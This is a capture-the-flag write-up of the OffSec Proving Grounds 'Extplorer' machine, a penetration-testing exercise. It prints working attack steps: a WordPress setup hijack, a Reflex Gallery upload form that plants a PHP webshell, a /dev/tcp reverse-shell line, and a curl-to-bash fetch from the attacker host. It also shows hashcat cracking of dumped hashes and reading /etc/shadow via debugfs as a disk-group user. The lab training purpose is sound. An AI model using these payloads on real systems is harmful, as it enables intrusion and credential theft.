OffSec Proving Grounds Extplorer Writeup

Summary

Extplorer serves an unfinished WordPress installation, so the setup wizard is pointed at a MariaDB instance running on the attacker machine and completes with an attacker owned administrator account. From the dashboard, installing the known vulnerable Reflex Gallery plugin exposes its unauthenticated file uploader, and a local HTML form posts a one line PHP webshell into wp-content/uploads for command execution as www-data. The part this note calls out as the lesson is the second application nobody scanned for: /var/www/html/filemanager, an eXtplorer install holding dora’s password hash, which hashcat cracks to doraemon. dora belongs to the disk group, so debugfs opens the root filesystem device directly, prints /etc/shadow, and hashcat turns root’s hash into explorer.

Things Learned

I completely missed the fact that there was a secondary web application installed on the server, which is crazy. When opening the web server on port 80, I’m presented with the installation page for Wordpress so I get tunnel vision and forget to run some automated directory discovery scan in the background as always.

I thought it was just a matter of proceeding with the installation process, using the cool trick where I host my own mysql instance and make the server connect back to me so the installation can proceed, get an admin account in wordpress and achieve RCE through that, then work from there.

I performed a lot of manual enumeration once on the box, and was like “oh, there is only wordpress installed in the web folder, there’s not supposed to have anything else there, right?”

I guess I could have discovered the hashed password for “dora” in three different ways:

1. I “find” for files owned by www-data, discover this weird “filemanager” stuff not part of wordpress

2. I actually run a background scan (directory enumeration) and eventually find /filemanager

3. Run linpeas with all extended checks so it search for string patterns in files. This could also potentially point to dora’s password hash

Web Server Enumeration

The web server displays a default wordpress installation page:

Setup a mariadb server locally:

docker run --detach --name some-mariadb -p 3306:3306 --env MARIADB_ROOT_PASSWORD=my-secret-pw mariadb:latest

Fill in the details so the server connects to my mariadb instance and can proceed with installation.

Created my admin account:

Logged in to the admin panel:

Initial Access: Malicious WP Plugin Install

Did install “reflex gallery” vulnerable wp plugin using the administrative access over wordpress:

Create reflexgallery-exploit.html on my attacking machine:

<form method="POST" action="http://192.168.234.16/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2026&Month=01" enctype="multipart/form-data" >
    <input type="file" name="qqfile"><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>

Create shell.php:

<?php system($_REQUEST['cmd']); ?>

Open the html file in a web browser (reflexgallery-exploit.html) and use it to upload shell.php:

Create shell.sh:

sh -i >& /dev/tcp/192.168.45.205/53 0>&1

Set up a http server with python:

sudo python3 -m http.server 80

Make the webshell execute a reverse shell

http://192.168.234.16/wp-content/uploads/2026/01/shell13.php?cmd=curl%20192.168.45.205/shell.sh|bash

Horizontal Privilege Escalation

Discover this filemanager application installed. Inside it, there’s the password hash for dora:

www-data@dora:/var/www/html/filemanager$ pwd
/var/www/html/filemanager
www-data@dora:/var/www/html/filemanager$ grep -ri dora . --color
./config/.htusers.php:  array('dora','$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS','/var/www/html','http://localhost','1','','0',1),

Cracked dora’s hash:

hashcat dora.hash /usr/share/wordlists/rockyou.txt --force -m 3200

With that, new credentials:

Username: dora
Password: doraemon

Dora has membership in the “disk” group:

$ id 
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)

Vertical Privilege Escalation

I follow instructions from this online resource to proceed with exploiting membership in “disk”.

Verify correct device (I’m looking for “mounted on” pointing to slash):

dora@dora:~$ df -h 
Filesystem                         Size  Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv  9.8G  5.1G  4.2G  55% /
udev                               947M     0  947M   0% /dev
tmpfs                              992M   52K  992M   1% /dev/shm
tmpfs                              199M  1.2M  198M   1% /run
tmpfs                              5.0M     0  5.0M   0% /run/lock
tmpfs                              992M     0  992M   0% /sys/fs/cgroup
/dev/loop0                          62M   62M     0 100% /snap/core20/1611
/dev/loop1                          64M   64M     0 100% /snap/core20/1852
/dev/sda2                          1.7G  209M  1.4G  13% /boot
/dev/loop2                          68M   68M     0 100% /snap/lxd/22753
/dev/loop3                          50M   50M     0 100% /snap/snapd/18596
/dev/loop4                          92M   92M     0 100% /snap/lxd/24061
tmpfs                              199M     0  199M   0% /run/user/1000

Access debugfs on slash:

dora@dora:~$ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs 1.45.5 (07-Jan-2020)
debugfs:

Use debugfs to read shadow:

debugfs:  cat /etc/shadow

Save root.hash:

$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.

Crack it with hashcat:

hashcat root.hash /usr/share/wordlists/rockyou.txt

With that, new credentials:

Username: root
Password: explorer

And switch user to root. THe machine is pwned, as you can see from the screenshot below: